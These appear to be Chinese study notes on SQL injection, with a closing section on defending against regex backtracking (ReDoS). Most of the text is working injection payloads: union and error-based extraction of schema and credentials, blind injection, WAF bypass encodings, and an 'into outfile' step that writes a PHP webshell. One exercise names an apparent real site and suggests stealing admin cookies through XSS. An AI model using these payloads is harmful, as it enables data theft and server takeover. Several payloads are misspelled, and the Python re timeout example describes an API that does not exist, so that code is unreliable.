本文·先阐述学习 SQL 注入的意义 ------ 可针对互联网（Java/PHP/Python+MySQL）、工业（.NET/ASPX+MSSQL）、银行金融（.NET/Java+Oracle）不同场景提升系统防御、排查能力，防范数据篡改、系统瘫痪等风险；接着讲解 SQL 注入核心知识，包括 substring、length 等常用函数，information_schema 系统库，union/join 联表查询、order by 确定列数、注释符构造语句等技巧，以及 "获取库名→表名→列名→数据" 的基本注入步骤；还介绍了报错注入、盲注（布尔 / 时间）等实操类型，科学计数法、十六进制编码等 WAF 绕过方法，正则回溯攻击的原理与绕过 / 防御手段，mysql 利用 into outfile getshell 的苛刻条件，魔术开关、strpos 等相关问题，以及报错注入类型转换错误的解决办法、union 查询结果显示规则等；最后补充了表单 post 漏洞、信息收集（鹰图、robots.txt）、XSS（xsshunter）等辅助安全内容，和正则回溯攻击的多维度防御策略。
为什么要学sql注入
更好地防御：写出更安全的代码，搭建更稳固的系统
提升安全排查与应急响应能力：应对已存在的安全风险
学习 SQL 注入的意义：工业系统多为长期运行的老旧系统，.NET/MSSQL 架构的存量漏洞较多，学习 SQL 注入能精准定位这类系统的安全隐患；防止恶意人员通过 SQL 注入篡改工业数据（比如电力调度数据、核电站设备监控数据）、瘫痪控制系统，避免引发生产事故、公共安全事件。
sql注入：就是本不该被查询的，被查询到了
第一互联网产品（Java/PHP/Python + MySQL）联网产品
互联网产品用户量大、数据价值高（用户信息、交易数据、内容数据），且多为对外公开访问，是 SQL 注入攻击的高发区。
这也是我们学习的主要
第二 工业产品（核电站、烟草、电力 + .NET/ASPX + MSSQL）
这类工业控制系统看似封闭，但随着 "工业互联网" 的推进，越来越多系统具备网络连接能力，且系统的安全性直接关联公共安全、国家利益，容错率极低。
第三 银行金融 有相关的产品（.NET/Java + Oracle 为主）
金融系统的核心是资金数据和用户征信数据，具有极高的经济价值，是网络攻击的重点目标，SQL 注入的危害会被无限放大。
Oracle 数据库相比 MySQL，SQL 语法更复杂，注入场景更多样，学习 SQL 注入能针对性掌握 Oracle 架构下的安全防御技巧。
sql注入常用截断函数和其他函数
以下均为常用截断函数
select substring('root',2,2) 从第二位开始截断2位
mid（字符串，开始，长度）
substr
left
right
以下为函数实际应用
length(database()); 长度8
substr(database(),1,1); 结果s
ascii(substr(database(),1,1)); 115 可见字符33-127
eg：select if(now()=sysdata(),database(),user()); 对走database，错走user
infomation_schema--重要的系统库：各种信息
重点关注以下信息
schemata--库名 关注字段：schema_name---库名
tables------所有的库名表名（重点关注）
columns---库，表，列 记录了所有列名
联表查询
有union和join两种查询,以下是前置基础
union：用于合并多个 SELECT 语句的结果集，核心是"合并行"，不关联表，要求多个 SELECT 的列数、列类型必须一致。
用法：SELECT 列1, 列2 FROM 表1 UNION SELECT 列1, 列2 FROM 表2;
join：用于多表关联查询，根据表间的关联字段（主键/外键）合并多个表的数据，核心是"按关联条件匹配行"。
内连接： SELECT 列 FROM 表1 INNER JOIN 表2 ON 表1.关联列=表2.关联列; 只返回两表匹配成功的行
左连接： SELECT 列 FROM 表1 LEFT JOIN 表2 ON 关联条件; 返回表1所有行，表2无匹配则补 NULL
右连接： SELECT 列 FROM 表1 RIGHT JOIN 表2 ON 关联条件; 返回表2所有行，表1无匹配则补 NULL
联表查询：前提前端要有回显
select*from user union select *from emails;
问题：入侵别人如何确定列数？
order by（排序，asc正，dasc倒）
利用报错知道几列：select *from users oder by 4 desc;
select *from users where id='1' order by ---+ 'limit 0,1'; 要让数据库误解
注释：- - +;#；/**/ post传参要用#注释
真实注入时：?id=-1' union select 1,database(),users() ；- -+
思考：为什么前面要为-1 ，
原因：利用不存在信息查询想要的信息，清空原始结果，返回注入的查询结果，union要两个查询数据一致，数据类型兼容才生效，先前为正确的，只会优先显示原始结果，会覆盖注入结果
我们最终的目的是得到管理员的账号密码（infomationsy所有表）
基本注入步骤
group_concat合并所有字段为一行
1库2表3字段4列
1、获取所有库名：select schema_name from infomation_schema.schemata;
2、知库求表
方法一：select table_name from infomation_schema.tables where table_schema='库名' limit 2,1 ；取1个
方法二：select group_concat(table_name )from infomation_schema.tables where table_schema='库名；
3、知表找列
方法一：select column_name from infomation_schema.columns where table_schema='数据库名' and table_name='表名'；
方法二：select group_concat( column_name） from infomation_schema.columns where table_schema='数据库名' and table_name='表名'；
4、找数据
就是正常查找自己想要的数据
报错注入
常用的函数：updataxml,extractvalue(1,concat()),fool
?id=1' and updataxml(1,concat(ox7e,database(),ox7e),1);
前面id=1必须为真
updataxml 在mysql中的使用方法
3个参数，1、原本xml文本，2、xoath路径，3、更新替换的内容
xpath路径：注入时构造成非法的路径，把查询语句嵌入进去
xpath 最多为32位，超过32位则要利用substr截断函数
SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 1, 32)) , 1);
SELECT UPDATEXML(1, concat('~', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 33, 64)), 1);
盲注
SQL 注入的一种进阶形式，目标网站不会直接返回数据库错误信息或查询结果，只能通过页面的"是/否""真/假"等间接反馈
length(databse())=7 ；- -+ 有显示即正确-判断长度
ascii(substr(database(),1,1))>115 ;--+ 来判断显示字母
科学计数法-前提数字型注入
1. 绕过数字型WAF拦截 ***重点
当WAF拦截纯数字Payload时，可将数字转为科学计数法形式：
原始Payload（可能被拦截）?id=1 AND 1=1
科学计数法绕过
?id=1e0 AND 1e0=1e0
1e0 等价于 1，1e3 等价于 1000，数据库会自动解析为数字，而WAF可能识别为字符串或未知格式，从而放行。
2. 十六进制编码绕过字符检测
对于字符型注入，可将字符串转为十六进制（本质也是一种科学计数法衍生技巧），避免直接出现敏感字符：
原始Payload（可能被拦截）
?id=1' AND username='admin'--
十六进制绕过（admin 的十六进制为 0x61646d696e）
?id=1' AND username=0x61646d696e--
数据库会自动将 0x 开头的十六进制字符串解析为原字符，WAF无法直接识别，从而绕过关键词拦截。
3.结合函数混淆Payload
科学计数法可与 ASCII()、SUBSTR() 等函数结合，进一步隐藏注入意图：
原始布尔盲注Payload
?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=115
科学计数法绕过（115 转为 1.15e2）
?id=1 AND ASCII(SUBSTR(DATABASE(),1,1))=1.15e2
单词边界
在正则表达式中，单词边界是一个用于匹配单词位置的锚点，用字符 \b 表示，它匹配的是"单词字符"与"非单词字符"之间的位置，不匹配任何实际字符。
规则
-
单词字符：默认指 [a-zA-Z0-9_]（字母、数字、下划线）
-
非单词字符：指除上述字符外的所有字符（如空格、标点、换行等）
eg：/\b select(.*)from\b
有回溯过程
回溯
php正则表达式
1、回溯过程有限
2、当超过回溯最大长度会崩溃，退出
查看回溯次数：网站regexcol.com
绕过方式：加入100万个不匹配的字符
矛盾的if
解决方法：
1、数组绕过，前提是没有限制不让用数组
aaa[]=1
2、回溯用脚本
strpos
判断某个字符首次出现的位置，应用====运算符来判断返回值 ;
!== 严格不相等（值，类型）
outfile mysql如何getshell(面试常问) into outfile
前提：1、字段内容？ <?php phpinfo(); ，一句话木马
2、文件路径？ web物理路径
3、文件名？ xxx.php
4、导出这个文件有什么帮助 直接getshell
但是实际上几乎不可以这个漏洞，因为限制条件及其苛刻（以下三个条件必须满足）
限制条件：
1、必须是root权限
2、在某个字段必须为空：secure_file_priv默认位null不可导出，有路径或者空白可以导出（如果路径位/tmp没有用）
3、知道本网站物理路径（猜或者爆破）
into outfile使用
into outfile 本网站绝对路径/保存文件名.txt
实际：id=1')) union select 1,'<?php phpinfo();?> 'out file 路径/ww.php;- -+
布尔注入
方法：报错注入，脚本（二分），bp爆破
时间盲注
and if(ascii(substr(database(),1,1))=115,sleep(3),0); - -+
魔术开关=stripslashes
会转义特殊字符，代表 '失效，逃逸不出单引号的限制
魔术开关5.3以前存在，5.3以后默认关闭
1、传入admin\ ' 本来转义了
2、魔术开关再次转义 --admin \\ ' 防止注入失效了
3、利用函数stripslashes再次使 '生效
思考1重庆再生资源
报错注入改为union select（test.py)
除了正则回溯以外有无其他的思路拿下
1、服务器上有多个站点，用旁注拿下周边的，权限不严就能拿下主要网站
2、利用存储型xss拿后台管理员的cookies（xsshunter网站管理）
思考2如何防御正则回溯、
从源头避免回溯漏洞，关键是消除正则中的贪婪匹配嵌套和可选分支歧义
正则回溯攻击（也叫正则表达式DoS，ReDoS）是攻击者构造特殊字符串，让正则表达式的回溯次数呈指数级增长，最终导致服务器CPU占满、服务瘫痪的攻击方式。防御核心是避免写低效正则+限制正则执行资源+加固应用层防护，分三个维度讲具体做法：
一、核心：编写无回溯/低回溯的正则表达式
1. 杜绝「贪婪量词+可选分支」的危险组合
危险示例（会引发大量回溯）：
^(a+)+$
匹配aaaaaaaaaaaaaaaaaaaaa!时，(a+)+会不断尝试拆分a的数量，回溯次数呈指数级增长。
修复方案：
简化正则，去掉多余的分组和量词嵌套：
^a+$
2. 使用非贪婪量词时避免歧义
非贪婪量词（*?/+?/??）并非绝对安全，需结合场景使用，同时避免无意义的可选分支。
示例：
^(.+?)(abc|def)$匹配长字符串时，会反复回溯匹配abc/def。
修复方案：
明确匹配边界，减少分支歧义：
^(.+)(abc|def)$
（或根据场景直接限定结尾字符，避免模糊匹配）
3. 用原子组阻止回溯（部分语言支持）
原子组（(?>pattern)）会让正则引擎不保存回溯点，匹配失败直接退出，适用于确定无需回溯的场景。
示例：
^(?>a+)$
匹配a串时，不会产生任何回溯，性能拉满.
4. 限定匹配长度
对可变长度的匹配（如*/+）增加长度限制，避免无限匹配引发的回溯。
危险：
^[a-zA-Z0-9]*$
修复方案：
^[a-zA-Z0-9]{0,50}$
（根据需求限定最大长度，如50位）
二、应用层：限制正则执行的资源与超时
1. 设置正则执行超时时间
编程语言层面：Python用re模块的超时参数（Python 3.5+支持），Java用Pattern.quote()+线程超时，PHP用pcre.backtrack_limit限制回溯次数。
Python 示例：设置超时1秒
import re
try:
re.match(r"^(a+)+$", "a"*10000, timeout=1)
except re.TimeoutError:
print("正则执行超时，疑似ReDoS攻击")
2. 限制输入字符串长度
对用户输入做前置校验，拒绝超长字符串，从源头减少回溯的可能性。
3. 禁用危险正则语法
过滤用户可控的正则输入，禁止使用*/+/()等易引发回溯的语法。
三、运维/架构层：加固服务防护
1. 隔离正则执行进程
将正则匹配操作放到独立的进程/容器中执行，避免单个请求的正则DoS拖垮整个服务。
2. 监控CPU与回溯指标
监控服务器CPU使用率，以及正则引擎的回溯次数，发现异常立即阻断请求。
3. 使用WAF拦截恶意请求
配置WAF规则，拦截特征明显的ReDoS攻击字符串，如超长重复字符+正则触发字符。
只要正则包含以下特征，就存在ReDoS风险：
1. 嵌套的贪婪量词：(a+)+、(a*)*、(a+)?；
2. 无长度限制的模糊匹配：.+、.*搭配可选分支；
3. 多层嵌套的分组：((((a+)))+)。思考3
1'and updataxml （select group_concat table_name) 可以拿到
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#
a' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) ;#
为什么报这个错误：a'and truncated incorrect BOUBLE value;'a'
原因：1和a 触发不同的语法分析逻辑
'1' 是字符串，但MySQL会自动将数字型字符串'1'转为数值1，和and后的布尔表达式（updatexml的报错逻辑）做运算，类型匹配，无转换错误；
'a' 是纯字母字符串，MySQL尝试将其转为DOUBLE数值（因为and需要布尔/数值型运算），但a无法转为任何数值，直接抛出Truncated incorrect DOUBLE value: 'a' 错误；
这个错误发生在updatexml执行之前，所以报错注入逻辑根本没机会运行，你只看到了类型转换错误
解决办法：
方法一：a' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
原理1=强制MySQL先执行updatexml的返回值（布尔型），不再尝试将'a'转为DOUBLE，直接触发报错注入
除了updatexml以外我还可以用什么函数报错注入
a' and xxx什么可以成功、
"SELECT username, password FROM users WHERE username='a' union select 1,user()#"
第一 他是否可以查询到数据
username字段 能不能是admin
为什么？
注意
1、表单很容易出现post漏洞
robows.txt是什么
信息收集：鹰图平台，蜘蛛
xsshunter网站管理